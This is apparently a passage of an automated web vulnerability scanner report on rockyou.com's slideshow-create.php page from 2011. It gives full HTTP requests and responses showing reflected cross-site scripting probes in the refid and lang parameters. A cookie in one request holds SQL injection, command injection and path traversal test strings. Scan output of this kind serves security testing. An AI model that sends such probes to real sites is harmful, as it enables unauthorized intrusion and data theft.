if ( Get_Cookie( name ) ) document.cookie = name + "=;domain=.rockyou.com;expires=Thu, 01-Jan-1970 00:00:01 GMT";
}

function showHelp(name)
{
urchinTracker ('/help/'+name);
newwindow= window.open('/popuphelp.php?name='+name,'helppage','toolbar=no, status=no,height=500, width=300,scrollbars=1');
if (window.focus) newwindow.focus();
}

function toggle_frontpage_sound() {
var frontpage_music = document.getElementById("frontpage_music");
if (frontpage_music) frontpage_music.blur();
// Toggle text
var music_text_span = document.getElementById("music_text_span");
if (music_text_span)
music_text_span.innerHTML = (music_text_span.innerHTML == 'MUTE') ? 'LISTEN' : 'MUTE';
// Toggle speaker image
var speaker_button = document.getElementById("speaker_button");
if (speaker_button)
speaker_button.src = (speaker_button.src == "http://dev2.rockyou.com/images/bling3/speaker.png") ?
"http://dev2.rockyou.com/images/bling3/speaker-on.png" : "http://dev2.rockyou.com/images/bling3/speaker.png";
// Toggle sound
var showcase_slide_embed = document.getElementById("showcase_slide_embed");
if (showcase_slide_embed) {
if (showcase_slide_embed.innerHTML.indexOf('nosound=false') != -1) {
showcase_slide_embed.innerHTML = showcase_slide_embed.innerHTML.replace(/nosound=false/, 'nosound=true');
Set_Cookie('frontpage_music_disabled', '1', 1);
}
else {
showcase_slide_embed.innerHTML = showcase_slide_embed.innerHTML.replace(/nosound=true/, 'nosound=false');
Set_Cookie('frontpage_music_disabled', '0', 1);
}
}
}

function toggle_frontpage_music_icon() {
var frontpage_music = document.getElementById("frontpage_music");
var slide_container = document.getElementById("showcase_slide_embed");
if (frontpage_music) {
if (frontpage_music.innerHTML.indexOf("turn-on") >= 0) {
frontpage_music.innerHTML = frontpage_music.innerHTML.replace(/turn-on/, 'turn-off')
if (slide_container) {
var front_embed = slide_container.innerHTML;
slide_container.innerHTML = front_embed.replace(/nosound=true/, 'nosound=false');
}
Set_Cookie('frontpage_music_disabled', '0', 1);

} else {
frontpage_music.innerHTML = frontpage_music.innerHTML.replace(/turn-off/, 'turn-on')
if (slide_container) {
var front_embed = slide_container.innerHTML;
slide_container.innerHTML = front_embed.replace(/nosound=false/, 'nosound=true');
}
Set_Cookie('frontpage_music_disabled', '1', 1);
}
}
frontpage_music.blur();
}

function toggle_frontpage_music_text() {
var frontpage_music = document.getElementById("frontpage_music");
var slide_container = document.getElementById("slide-container");
if (frontpage_music) {
if (frontpage_music.innerHTML == "turn music on") {
frontpage_music.innerHTML = "turn music off";
if (slide_container) {
var front_embed = slide_container.innerHTML;
if (front_embed.indexOf("nosound=") > 0) {
slide_container.innerHTML = front_embed.replace(/nosound=true/, 'nosound=false');
} else {
slide_container.innerHTML = front_embed.replace(/<embed /, '<embed FlashVars="nosound=false" ');
}
}
Set_Cookie('frontpage_music_disabled', '0', 1);

} else {
frontpage_music.innerHTML = "turn music on";
if (slide_container) {
var front_embed = slide_container.innerHTML;
if (front_embed.indexOf("nosound=") > 0) {
slide_container.innerHTML = front_embed.replace(/nosound=false/, 'nosound=true');
} else {
slide_container.innerHTML = front_embed.replace(/<embed /, '<embed FlashVars="nosound=true" ');
}
}
Set_Cookie('frontpage_music_disabled', '1', 1);
}
}
}
// -->
</script>


<script src="create-slideshow-js-combined.php?ver=2" type="text/javascript"></script><script src="/js/greybox/jquery-latest.js" type="text/javascript"></script><script src="/js/greybox/greybox.js?2" type="text/javascript"></script><script src="/js/common.js" type="text/javascript"></script><link href="http://cdn.rockyou.com/apps/mainsite/css/style.css" rel="stylesheet" type="text/css">
<link href="/css/create-slideshow-combined.css?ver=6" rel="stylesheet" type="text/css"><link href="/css/../js/greybox/greybox.css?ver=6" rel="stylesheet" type="text/css">
</HEAD>




<BODY class="background_normal"
style=""

LEFTMARGIN=0 TOPMARGIN=0 MARGINWIDTH=0 MARGINHEIGHT=0
onload="initDND();"
onunload=""
>


<!-- Comscore tracking. Comscore tracks every time a resource on rockyou is loaded with these params. -->
<img src="http://apps.rockyou.com/dot.gif?CXNID=1000017.0NXC">

<!-- TF 728x90 JScript NoAD code -->
<div style="height:5px;padding:0px;margin:0px;overflow:hidden"></div>

<script language="javascript" type="text/javascript" src="/js/flash_file_uploader.js"></script><script language="javascript" type="text/javascript" src="/js/iuembed.js"></script><script type="text/javascript">// Suppress multifile uploadervar suppressMulti = false;// variable needed for grey box modal dialog for the 'More Songs' linkvar GB_ANIMATION = true; // we have a variable in create.js that needs to know about the right translation for a text.var lang_upload_confirm_delete_slide = "Do you really want to delete this slide?";var lang_slideshow_aspect_43_only = "Only 4:3 Available";var lang_slideshow_aspect_43 = "TV (4:3)";var lang_slideshow_aspect_21 = "Wide (2:1)";var lang_slideshow_aspect_31 = "Strip (3:1)";var lang_empty_caption = "[Click to Add a Caption]";var lang_remove_all_captions = "Are you sure you want to remove all captions?";var lang_abandon_slideshow = "Abandon this slideshow and START OVER?";var evalThis;var thisinstanceid = '';var tagListArray; var xmlreqs = true; //Disable / enable xmlrequestsvar xmlBatchReq = ""; //Batch Stringvar playingSong = 0; //Current Song that is playingvar storedSongList = ""; //List of Songs responde from AJAXvar statusAddingSong = false;var mycustomtabs = new Array("cattags","transitions","themes","skins","backgrounds", "music","privacy","size","caption","min");var openWithCreateMode = 0;var sizeLevel = 3;var pitchLearnMoreBeboBands = 1; var slideCount = 0;var beforeUnloadStatus = 0;var beforeUnloadStatusEnabled = 1;var bgColorManualSet = 0;var ghost_popup = new Ghost_Popup('ghost_popup');var ghost_popup_music = new Ghost_Popup('ghost_popup_music');var source = "cyo";var currentSkin = '';var currentTransition = '';var currentBackground = '';var currentTheme = '';var currentRatio = 0;var skinConfig = 1;var removePreviewSlide = 0;var slideShowCount="0";//var slideShowCount="0";embed = new appEmbed(thisinstanceid);membed = new musicEmbed(thisinstanceid);embed.setLocal(true);embed.noSound=true;embed.noShare=true;function confirmAbandon() { if (openWithCreateMode == 1 && slideCount > 0 && beforeUnloadStatus == 1) { event.returnValue = "If you continue, this slideshow will be abandoned!"; } beforeUnloadStatus = beforeUnloadStatusEnabled;}function initDND() { document.getElementById('loadingsection_container').className = 'background_normal'; // for partner sites, switch to smaller logo var partner_logo_big = document.getElementById("partner_logo_big"); var partner_logo_small = document.getElementById("partner_logo_small"); if (partner_logo_big) partner_logo_big.style.display = "none"; if (partner_logo_small) partner_logo_small.style.display = "block"; var rockyou_logo = document.getElementById("logo"); if (rockyou_logo) rockyou_logo.style.display = "block"; setupFileUploader(); printCountrySelect(document.getElementById("countryselect")); document.getElementById('loadingsection').innerHTML = ''; document.getElementById('loadingsection').style.display = 'none'; document.getElementById('ticker_area').style.display=""; document.getElementById('upload-and-customize').style.display=""; var bannerheading = document.getElementById('bannerheading'); if (bannerheading) bannerheading.style.display=""; initSectionsNew();}function initSectionsNew(){ supermaxUL(); //document.getElementById('toptab-container').style.display=""; document.getElementById('uploadsection').style.display=""; showUploadDiv(); hasInstanceIDEmbed(); simple_ajax_call('email/ajax_email_tracking.php?message=3&widget=slideshow&instanceid=0', false); openWithCreateMode = 1; document.getElementById("bebo_bubble").style.display = "block";}function initSections(){ if (openWithCreateMode == 1) { // randomize transition updateTransition("photostack2"); } document.getElementById('arrange-and-caption').style.display=""; document.getElementById('quickstyles').style.display=""; document.getElementById('div-upload').style.display=""; document.getElementById('tab-customize').style.display=""; document.getElementById('div-arrange').style.display=""; embed.isScale = false;currentSkin = ''; currentTransition = 'photostack'; currentRatio = 1; skinConfig = 1; currentTheme = ''; currentBackground = ''; setAspectRatioControls(); setBackgroundControls(); setSkinControls(); setSizeControls(); showCookieUploadTab(); showCustomizeDiv(); regUL(); refreshSlideShow(); refreshMusic(0); //Tags tagListArray = []; tagList(tagListArray); setPeopleMap('','','',''); //Songs songListArray = []; songList(songListArray); if (openWithCreateMode == 1) { simple_ajax_call('email/ajax_email_tracking.php?message=4&widget=slideshow&instanceid='+thisinstanceid, false); Set_Cookie('last_created_slideshow', thisinstanceid, 1); } else { if (thisinstanceid != parseInt(Get_Cookie('last_created_slideshow'))) { Set_Cookie('last_created_slideshow', 0, 1); } } // change the instruction var multi_uploader_instruction = document.getElementById("multi_uploader_instruction"); if (multi_uploader_instruction) { multi_uploader_instruction.innerHTML = '<p style="font-size:16px;font-weight:bold;margin-bottom:10px;">Next steps</p>' + '<ul style="font-size:13px;margin-left:10px;">' + '<li>Add more slides</li>' + '<li>To edit captions, scroll down</li>' + '<li>To move and delete slides, scroll down</li>' + '<li>Try the customization options to the right</li>' + '<li>Click Save when you\'re done</li>' + '</ul>' + '<p style="font-size:15px;margin-top:15px;">If you\'re having trouble uploading, <a target="_blank" href="/contact.php" style="text-decoration:underline">let us know</a>.</p>'; } setDefaultPublishSize(3); if (Get_Cookie('bubble_html_file_upload_edit_hide') == null) { if (document.getElementById("html_file_upload_instruction_container2")) { document.getElementById("html_file_upload_instruction_container2").className = 'html_file_uploader_bottom'; } } else { if (document.getElementById("html_file_upload_instruction_container2")) { document.getElementById("html_file_upload_instruction_container2").className = 'html_file_uploader_hidden'; } } document.getElementById("bebo_bubble").style.display = "none"; if (Get_Cookie('bubble_save_hide') == null) { document.getElementById("bubble_save1").style.display = "block"; } else { document.getElementById("bubble_save1").style.display = "none"; } //Colors loadSV(); updateH('F1FFCC'); if (window.attachEvent) { window.attachEvent("onbeforeunload", confirmAbandon); } balance_tabs_reset(); setTimeout("balance_tabs_set();", 1000);}function hasInstanceIDEmbed(){ var loc = window.location.href; var instanceString = loc.match("#instanceid=([0-9]*)"); if (instanceString != null) { if (parseInt(instanceString[1]) > 0) window.location='slideshow-create.php?source=cyo&refid='%22%3E%3Cnet%20sparker=netsparker(0x0010C7)%3E&create=1&instanceid='+instanceString[1]; }}// Flash uploader calls this function when the user has chosen image(s) to upload and on initfunction beginFlashUpload() { var initObj = {}; initObj.instanceid = thisinstanceid; initObj.infront = (document.getElementById('uploadplace').infront.checked) ? true : false; initObj.dataHost = 'http://www.rockyou.com/addimage.php?type=file_html&userid=-1'; return initObj;}// Called on return of flash uploaderfunction flashUploadComplete(instanceid, errorcode, errormessage) { urchinTracker('/flashuploader/complete'); if (instanceid != "" && thisinstanceid == "") //On Create New Show. Get the New Instanceid and initiate UI { embed = new appEmbed(instanceid); membed = new musicEmbed(instanceid); embed.setLocal(true); embed.noSound=true; embed.noShare=true; //Reload page with slideshow var location = window.location.href; if (location.indexOf('?') != -1) location += "&instanceid="+instanceid; else location += "?instanceid="+instanceid; window.location = location; } else { if (parseInt(errorcode) > 0) { document.getElementById('ulerror').style.display=''; document.getElementById('ulerror').innerHTML=errorcode + " - " + errormessage; } else { document.getElementById('ulerror').innerHTML=""; document.getElementById('ulerror').style.display='none'; refreshList(); clearCaptions(); clearEntry(); } if (removePreviewSlide == 1) { setTimeout('xmlhttpPost("remove_preview_slide", 1);', 1000); removePreviewSlide = 0; } }}function uploadComplete(errorcode, errormessage, url, instanceid){ if (parseInt(errorcode) > 0) { ghost_popup.show("photo upload failed", 13, 10, 60, 100, 1, "frm"); } else { ghost_popup.show("photo uploaded", 13, 10, 60, 100, 1, "frm"); } var form2 = document.getElementById("form2"); if (form2) { form2.reset(); } hideUploading(); clearInterval(progressInterval); if (instanceid != "" && thisinstanceid == "") //On Create New Show. Get the New Instanceid and initiate UI { embed = new appEmbed(instanceid); membed = new musicEmbed(instanceid); embed.setLocal(true); embed.noSound=true; embed.noShare=true; //..
- /slideshow-create.php

/slideshow-create.php

http://www.rockyou.com/slideshow-create.php?refid='%22%3E%3Cnet%20sparker=alert(0x001215)%3E&create=..

Parameters

Parameter Type Value
refid GET '"><net sparker=alert(0x001215)>
create GET 1
instanceid GET 3

Request

GET /slideshow-create.php?refid='%22%3E%3Cnet%20sparker=netsparker(0x001215)%3E&create=1&instanceid=3 HTTP/1.1
Referer: http://www.rockyou.com/slideshow-create.php?refid=
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: www.rockyou.com
Cookie: PHPSESSID=j1le0nb5c52v0lohlmb2bhb1l3; lang=en; lastlogin=1303164892; ctid=2; sns_type=rockyou.com; istack=%27%29%29%3BWAITFOR+DELAY+%270%3A0%3A25%27--%7Cwww202.rockyou.com%7C%7C%22%26+SET+%2FA+0xFFF9999-2+%26%7Cwww202.rockyou.com%7C%7C%27%26+SET+%2FA+0xFFF9999-2+%26%7Cwww202.rockyou.com%7C%7C1+AND+%27NS%3D%27ss%7Cwww202.rockyou.com%7C%7C%27+OR+%27ns%27%3D%27ns%7Cwww202.rockyou.com%7C%7C-1+OR+17-7%3D10%7Cwww202.rockyou.com%7C%7C1+OR+X%3D%27ss%7Cwww202.rockyou.com%7C%7C%27+OR+%271%27%3D%271%7Cwww202.rockyou.com%7C%7C..%252F..%252F..%252F..%252F..%252F..%252FCANTBEHERE%252F..%252F..%252F..%252F..%252Fboot.ini%7Cwww202.rockyou.com%7C%7CSELECT+SLEEP%2825%29--+%7Cwww202.rockyou.com; referralid=13193054; pubtype=facebook; ultype=facebook
Accept-Encoding: gzip, deflate
Connection: Keep-Alive

Response

HTTP/1.1 200 OK
Date: Mon, 18 Apr 2011 22:14:53 GMT
Server: Apache/2.2
X-Powered-By: PHP/5.2.6
Set-Cookie: ryuserid=deleted; expires=Sun, 18-Apr-2010 22:14:52 GMT; path=/; domain=.rockyou.com,lastlogin=1303164893; expires=Wed, 27-Jul-2011 22:14:53 GMT; path=/; domain=.rockyou.com,sns_type=rockyou.com; expires=Mon, 25-Apr-2011 22:14:53 GMT; path=/; domain=.rockyou.com
Vary: Accept-Encoding,User-Agent
Content-Encoding:
X-RyHeader: www202.rockyou.com took D=43900 microseconds to serve this request
P3P: CP="CAO DSP COR CURa ADMa DEVa OUR IND PHY ONL UNI COM NAV INT DEM PRE"
Content-Length: 26933
Connection: close
Content-Type: text/html; charset=UTF-8


<HTML>
<HEAD>
<TITLE>RockYou.com - photo sharing, MySpace slideshows, MySpace codes, MySpace music</TITLE>
<script type="text/javascript">
<!--
function newImage(arg) {
if (document.images) {
rslt = new Image();
rslt.src = arg;
return rslt;
}
}

function changeImages() {
if (document.images && (preloadFlag == true)) {
for (var i=0; i<changeImages.arguments.length; i+=2) {
document[changeImages.arguments[i]].src = changeImages.arguments[i+1];
}
}
}

var preloadFlag = false;
function preloadImages() {
if (document.images) {
create_over = newImage("/images/create-over.png");
mystuff_over = newImage("/images/mystuff-over.png");
topshows_over = newImage("/images/topshows-over.png");
preloadFlag = true;
}
}

function Set_Cookie( name, value, expires)
{
var today = new Date();
today.setTime( today.getTime() );
if ( expires ) {
expires = expires * 1000 * 60 * 60 * 24;
}
var expires_date = new Date( today.getTime() + (expires) );

document.cookie = name + "=" +escape( value ) +
( ( expires ) ? ";expires=" + expires_date.toGMTString() : "" ) +
";domain=.rockyou.com";
}


function Get_Cookie( name ) {
var start = document.cookie.indexOf( name + "=" );
var len = start + name.length + 1;
if ( ( !start ) && ( name != document.cookie.substring( 0, name.length ) ) ) {
return null;
}
if ( start == -1 ) return null;
var end = document.cookie.indexOf( ";", len );
if ( end == -1 ) end = document.cookie.length;
return unescape( document.cookie.substring( len, end ) );
}

function Delete_Cookie( name, path) {
if ( Get_Cookie( name ) ) document.cookie = name + "=;domain=.rockyou.com;expires=Thu, 01-Jan-1970 00:00:01 GMT";
}

function showHelp(name)
{
urchinTracker ('/help/'+name);
newwindow= window.open('/popuphelp.php?name='+name,'helppage','toolbar=no, status=no,height=500, width=300,scrollbars=1');
if (window.focus) newwindow.focus();
}

function toggle_frontpage_sound() {
var frontpage_music = document.getElementById("frontpage_music");
if (frontpage_music) frontpage_music.blur();
// Toggle text
var music_text_span = document.getElementById("music_text_span");
if (music_text_span)
music_text_span.innerHTML = (music_text_span.innerHTML == 'MUTE') ? 'LISTEN' : 'MUTE';
// Toggle speaker image
var speaker_button = document.getElementById("speaker_button");
if (speaker_button)
speaker_button.src = (speaker_button.src == "http://dev2.rockyou.com/images/bling3/speaker.png") ?
"http://dev2.rockyou.com/images/bling3/speaker-on.png" : "http://dev2.rockyou.com/images/bling3/speaker.png";
// Toggle sound
var showcase_slide_embed = document.getElementById("showcase_slide_embed");
if (showcase_slide_embed) {
if (showcase_slide_embed.innerHTML.indexOf('nosound=false') != -1) {
showcase_slide_embed.innerHTML = showcase_slide_embed.innerHTML.replace(/nosound=false/, 'nosound=true');
Set_Cookie('frontpage_music_disabled', '1', 1);
}
else {
showcase_slide_embed.innerHTML = showcase_slide_embed.innerHTML.replace(/nosound=true/, 'nosound=false');
Set_Cookie('frontpage_music_disabled', '0', 1);
}
}
}

function toggle_frontpage_music_icon() {
var frontpage_music = document.getElementById("frontpage_music");
var slide_container = document.getElementById("showcase_slide_embed");
if (frontpage_music) {
if (frontpage_music.innerHTML.indexOf("turn-on") >= 0) {
frontpage_music.innerHTML = frontpage_music.innerHTML.replace(/turn-on/, 'turn-off')
if (slide_container) {
var front_embed = slide_container.innerHTML;
slide_container.innerHTML = front_embed.replace(/nosound=true/, 'nosound=false');
}
Set_Cookie('frontpage_music_disabled', '0', 1);

} else {
frontpage_music.innerHTML = frontpage_music.innerHTML.replace(/turn-off/, 'turn-on')
if (slide_container) {
var front_embed = slide_container.innerHTML;
slide_container.innerHTML = front_embed.replace(/nosound=false/, 'nosound=true');
}
Set_Cookie('frontpage_music_disabled', '1', 1);
}
}
frontpage_music.blur();
}

function toggle_frontpage_music_text() {
var frontpage_music = document.getElementById("frontpage_music");
var slide_container = document.getElementById("slide-container");
if (frontpage_music) {
if (frontpage_music.innerHTML == "turn music on") {
frontpage_music.innerHTML = "turn music off";
if (slide_container) {
var front_embed = slide_container.innerHTML;
if (front_embed.indexOf("nosound=") > 0) {
slide_container.innerHTML = front_embed.replace(/nosound=true/, 'nosound=false');
} else {
slide_container.innerHTML = front_embed.replace(/<embed /, '<embed FlashVars="nosound=false" ');
}
}
Set_Cookie('frontpage_music_disabled', '0', 1);

} else {
frontpage_music.innerHTML = "turn music on";
if (slide_container) {
var front_embed = slide_container.innerHTML;
if (front_embed.indexOf("nosound=") > 0) {
slide_container.innerHTML = front_embed.replace(/nosound=false/, 'nosound=true');
} else {
slide_container.innerHTML = front_embed.replace(/<embed /, '<embed FlashVars="nosound=true" ');
}
}
Set_Cookie('frontpage_music_disabled', '1', 1);
}
}
}
// -->
</script>


<script src="create-slideshow-js-combined.php?ver=2" type="text/javascript"></script><script src="/js/greybox/jquery-latest.js" type="text/javascript"></script><script src="/js/greybox/greybox.js?2" type="text/javascript"></script><script src="/js/common.js" type="text/javascript"></script><link href="http://cdn.rockyou.com/apps/mainsite/css/style.css" rel="stylesheet" type="text/css">
<link href="/css/create-slideshow-combined.css?ver=6" rel="stylesheet" type="text/css"><link href="/css/../js/greybox/greybox.css?ver=6" rel="stylesheet" type="text/css">
</HEAD>




<BODY class="background_normal"
style=""

LEFTMARGIN=0 TOPMARGIN=0 MARGINWIDTH=0 MARGINHEIGHT=0
onload="initDND();"
onunload=""
>


<!-- Comscore tracking. Comscore tracks every time a resource on rockyou is loaded with these params. -->
<img src="http://apps.rockyou.com/dot.gif?CXNID=1000017.0NXC">

<!-- TF 728x90 JScript NoAD code -->
<div style="height:5px;padding:0px;margin:0px;overflow:hidden"></div>

<script language="javascript" type="text/javascript" src="/js/flash_file_uploader.js"></script><script language="javascript" type="text/javascript" src="/js/iuembed.js"></script><script type="text/javascript">// Suppress multifile uploadervar suppressMulti = false;// variable needed for grey box modal dialog for the 'More Songs' linkvar GB_ANIMATION = true; // we have a variable in create.js that needs to know about the right translation for a text.var lang_upload_confirm_delete_slide = "Do you really want to delete this slide?";var lang_slideshow_aspect_43_only = "Only 4:3 Available";var lang_slideshow_aspect_43 = "TV (4:3)";var lang_slideshow_aspect_21 = "Wide (2:1)";var lang_slideshow_aspect_31 = "Strip (3:1)";var lang_empty_caption = "[Click to Add a Caption]";var lang_remove_all_captions = "Are you sure you want to remove all captions?";var lang_abandon_slideshow = "Abandon this slideshow and START OVER?";var evalThis;var thisinstanceid = '3';var tagListArray; var xmlreqs = true; //Disable / enable xmlrequestsvar xmlBatchReq = ""; //Batch Stringvar playingSong = 0; //Current Song that is playingvar storedSongList = ""; //List of Songs responde from AJAXvar statusAddingSong = false;var mycustomtabs = new Array("cattags","transitions","themes","skins","backgrounds", "music","privacy","size","caption","min");var openWithCreateMode = 0;var sizeLevel = 3;var pitchLearnMoreBeboBands = 1; var slideCount = 0;var beforeUnloadStatus = 0;var beforeUnloadStatusEnabled = 1;var bgColorManualSet = 0;var ghost_popup = new Ghost_Popup('ghost_popup');var ghost_popup_music = new Ghost_Popup('ghost_popup_music');var source = "";var currentSkin = '';var currentTransition = '';var currentBackground = '';var currentTheme = '';var currentRatio = 0;var skinConfig = 1;var removePreviewSlide = 0;var slideShowCount="0";//var slideShowCount="0";embed = new appEmbed(thisinstanceid);membed = new musicEmbed(thisinstanceid);embed.setLocal(true);embed.noSound=true;embed.noShare=true;function confirmAbandon() { if (openWithCreateMode == 1 && slideCount > 0 && beforeUnloadStatus == 1) { event.returnValue = "If you continue, this slideshow will be abandoned!"; } beforeUnloadStatus = beforeUnloadStatusEnabled;}function initDND() { document.getElementById('loadingsection_container').className = 'background_normal'; // for partner sites, switch to smaller logo var partner_logo_big = document.getElementById("partner_logo_big"); var partner_logo_small = document.getElementById("partner_logo_small"); if (partner_logo_big) partner_logo_big.style.display = "none"; if (partner_logo_small) partner_logo_small.style.display = "block"; var rockyou_logo = document.getElementById("logo"); if (rockyou_logo) rockyou_logo.style.display = "block"; setupFileUploader(); printCountrySelect(document.getElementById("countryselect")); document.getElementById('loadingsection').innerHTML = ''; document.getElementById('loadingsection').style.display = 'none'; document.getElementById('ticker_area').style.display=""; document.getElementById('upload-and-customize').style.display=""; var bannerheading = document.getElementById('bannerheading'); if (bannerheading) bannerheading.style.display=""; initSections();}function initSectionsNew(){ supermaxUL(); //document.getElementById('toptab-container').style.display=""; document.getElementById('uploadsection').style.display=""; showUploadDiv(); hasInstanceIDEmbed(); simple_ajax_call('email/ajax_email_tracking.php?message=3&widget=slideshow&instanceid=0', false); openWithCreateMode = 1; document.getElementById("bebo_bubble").style.display = "block";}function initSections(){ if (openWithCreateMode == 1) { // randomize transition updateTransition("photostack2"); } document.getElementById('arrange-and-caption').style.display=""; document.getElementById('quickstyles').style.display=""; document.getElementById('div-upload').style.display=""; document.getElementById('tab-customize').style.display=""; document.getElementById('div-arrange').style.display=""; embed.isScale = false;currentSkin = ''; currentTransition = 'photostack'; currentRatio = 1; skinConfig = 1; currentTheme = ''; currentBackground = ''; setAspectRatioControls(); setBackgroundControls(); setSkinControls(); setSizeControls(); showCookieUploadTab(); showCustomizeDiv(); regUL(); var slidelist = []; slidePrint(slidelist); refreshSlideShow(); refreshMusic(0); //Tags tagListArray = ["","mokina"]; tagList(tagListArray); setPeopleMap('','','',''); //Songs songListArray = []; songList(songListArray); if (openWithCreateMode == 1) { simple_ajax_call('email/ajax_email_tracking.php?message=4&widget=slideshow&instanceid='+thisinstanceid, false); Set_Cookie('last_created_slideshow', thisinstanceid, 1); } else { if (thisinstanceid != parseInt(Get_Cookie('last_created_slideshow'))) { Set_Cookie('last_created_slideshow', 0, 1); } } // change the instruction var multi_uploader_instruction = document.getElementById("multi_uploader_instruction"); if (multi_uploader_instruction) { multi_uploader_instruction.innerHTML = '<p style="font-size:16px;font-weight:bold;margin-bottom:10px;">Next steps</p>' + '<ul style="font-size:13px;margin-left:10px;">' + '<li>Add more slides</li>' + '<li>To edit captions, scroll down</li>' + '<li>To move and delete slides, scroll down</li>' + '<li>Try the customization options to the right</li>' + '<li>Click Save when you\'re done</li>' + '</ul>' + '<p style="font-size:15px;margin-top:15px;">If you\'re having trouble uploading, <a target="_blank" href="/contact.php" style="text-decoration:underline">let us know</a>.</p>'; } if (Get_Cookie('bubble_html_file_upload_edit_hide') == null) { if (document.getElementById("html_file_upload_instruction_container2")) { document.getElementById("html_file_upload_instruction_container2").className = 'html_file_uploader_bottom'; } } else { if (document.getElementById("html_file_upload_instruction_container2")) { document.getElementById("html_file_upload_instruction_container2").className = 'html_file_uploader_hidden'; } } document.getElementById("bebo_bubble").style.display = "none"; if (Get_Cookie('bubble_save_hide') == null) { document.getElementById("bubble_save1").style.display = "block"; } else { document.getElementById("bubble_save1").style.display = "none"; } //Colors loadSV(); updateH('F1FFCC'); if (window.attachEvent) { window.attachEvent("onbeforeunload", confirmAbandon); } balance_tabs_reset(); setTimeout("balance_tabs_set();", 1000);}function hasInstanceIDEmbed(){ var loc = window.location.href; var instanceString = loc.match("#instanceid=([0-9]*)"); if (instanceString != null) { if (parseInt(instanceString[1]) > 0) window.location='slideshow-create.php?refid='%22%3E%3Cnet%20sparker=netsparker(0x001215)%3E&create=1&instanceid=3&create=1&instanceid='+instanceString[1]; }}// Flash uploader calls this function when the user has chosen image(s) to upload and on initfunction beginFlashUpload() { var initObj = {}; initObj.instanceid = thisinstanceid; initObj.infront = (document.getElementById('uploadplace').infront.checked) ? true : false; initObj.dataHost = 'http://www.rockyou.com/addimage.php?type=file_html&userid=-1'; return initObj;}// Called on return of flash uploaderfunction flashUploadComplete(instanceid, errorcode, errormessage) { urchinTracker('/flashuploader/complete'); if (instanceid != "" && thisinstanceid == "") //On Create New Show. Get the New Instanceid and initiate UI { embed = new appEmbed(instanceid); membed = new musicEmbed(instanceid); embed.setLocal(true); embed.noSound=true; embed.noShare=true; //Reload page with slideshow var location = window.location.href; if (location.indexOf('?') != -1) location += "&instanceid="+instanceid; else location += "?instanceid="+instanceid; window.location = location; } else { if (parseInt(errorcode) > 0) { document.getElementById('ulerror').style.display=''; document.getElementById('ulerror').innerHTML=errorcode + " - " + errormessage; } else { document.getElementById('ulerror').innerHTML=""; document.getElementById('ulerror').style.display='none'; refreshList(); clearCaptions(); clearEntry(); } if (removePreviewSlide == 1) { setTimeout('xmlhttpPost("remove_preview_slide", 1);', 1000); removePreviewSlide = 0; } }}function uploadComplete(errorcode, errormessage, url, instanceid){ if (parseInt(errorcode) > 0) { ghost_popup.show("photo upload failed", 13, 10, 60, 100, 1, "frm"); } else { ghost_popup.show("photo uploaded", 13, 10, 60, 100, 1, "frm"); } var form2 = document.getElementById("form2"); if (form2) { form2.reset(); } hideUploading(); clearInterval(progressInterval); if (instanceid != "" && thisinstanceid == "") //On Create New Show. Get the New Instanceid and initiate UI { embed = new appEmbed(instanceid); membed = new musicEmbed(instanceid); embed.setLocal(t..
- /slideshow-create.php

/slideshow-create.php

http://www.rockyou.com/slideshow-create.php?lang='%22%3E%3Cnet%20sparker=alert(0x0014B2)%3E&refid=3

Parameters

Parameter Type Value
lang GET '"><net sparker=alert(0x0014B2)>
refid GET 3

Request

GET /slideshow-create.php?lang='%22%3E%3Cnet%20sparker=netsparker(0x0014B2)%3E&refid=3 HTTP/1.1
Referer: http://www.rockyou.com/slideshow-create.php?refid=
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: www.rockyou.com
Cookie: PHPSESSID=j1le0nb5c52v0lohlmb2bhb1l3; lang=en; lastlogin=1303165002; ctid=2; sns_type=rockyou.com; istack=158777088%7Cwww202.rockyou.com%7C%7C158777089%7Cwww202.rockyou.com%7C%7C158777090%7Cwww202.rockyou.com%7C%7C158777091%7Cwww202.rockyou.com%7C%7C158777092%7Cwww202.rockyou.com%7C%7C158777098%7Cwww202.rockyou.com%7C%7C158777099%7Cwww202.rockyou.com%7C%7C158777100%7Cwww202.rockyou.com%7C%7C158777107%7Cwww202.rockyou.com%7C%7C158777119%7Cwww202.rockyou.com; referralid=13193054; pubtype=facebook; ultype=facebook
Accept-Encoding: gzip, deflate
Connection: Keep-Alive

Response

HTTP/1.1 200 OK
Date: Mon, 18 Apr 2011 22:16:42 GMT
Server: Apache/2.2
X-Powered-By: PHP/5.2.6
Set-Cookie: ryuserid=deleted; expires=Sun, 18-Apr-2010 22:16:41 GMT; path=/; domain=.rockyou.com,lang=en; expires=Thu, 28-Apr-2011 22:16:42 GMT; path=/; domain=.rockyou.com,lastlogin=1303165002; expires=Wed, 27-Jul-2011 22:16:42 GMT; path=/; domain=.rockyou.com,sns_type=rockyou.com; expires=Mon, 25-Apr-2011 22:16:42 GMT; path=/; domain=.rockyou.com
Vary: Accept-Encoding,User-Agent
Content-Encoding:
X-RyHeader: www202.rockyou.com took D=26422 microseconds to serve this request
P3P: CP="CAO DSP COR CURa ADMa DEVa OUR IND PHY ONL UNI COM NAV INT DEM PRE"
Content-Length: 26856
Connection: close
Content-Type: text/html; charset=UTF-8


<HTML>
<HEAD>
<TITLE>RockYou.com - photo sharing, MySpace slideshows, MySpace codes, MySpace music</TITLE>
<script type="text/javascript">
<!--
function newImage(arg) {
if (document.images) {
rslt = new Image();
rslt.src = arg;
return rslt;
}
}

function changeImages() {
if (document.images && (preloadFlag == true)) {
for (var i=0; i<changeImages.arguments.length; i+=2) {
document[changeImages.arguments[i]].src = changeImages.arguments[i+1];
}
}
}

var preloadFlag = false;
function preloadImages() {
if (document.images) {
create_over = newImage("/images/create-over.png");
mystuff_over = newImage("/images/mystuff-over.png");
topshows_over = newImage("/images/topshows-over.png");
preloadFlag = true;
}
}

function Set_Cookie( name, value, expires)
{
var today = new Date();
today.setTime( today.getTime() );
if ( expires ) {
expires = expires * 1000 * 60 * 60 * 24;
}
var expires_date = new Date( today.getTime() + (expires) );

document.cookie = name + "=" +escape( value ) +
( ( expires ) ? ";expires=" + expires_date.toGMTString() : "" ) +
";domain=.rockyou.com";
}


function Get_Cookie( name ) {
var start = document.cookie.indexOf( name + "=" );
var len = start + name.length + 1;
if ( ( !start ) && ( name != document.cookie.substring( 0, name.length ) ) ) {
return null;
}
if ( start == -1 ) return null;
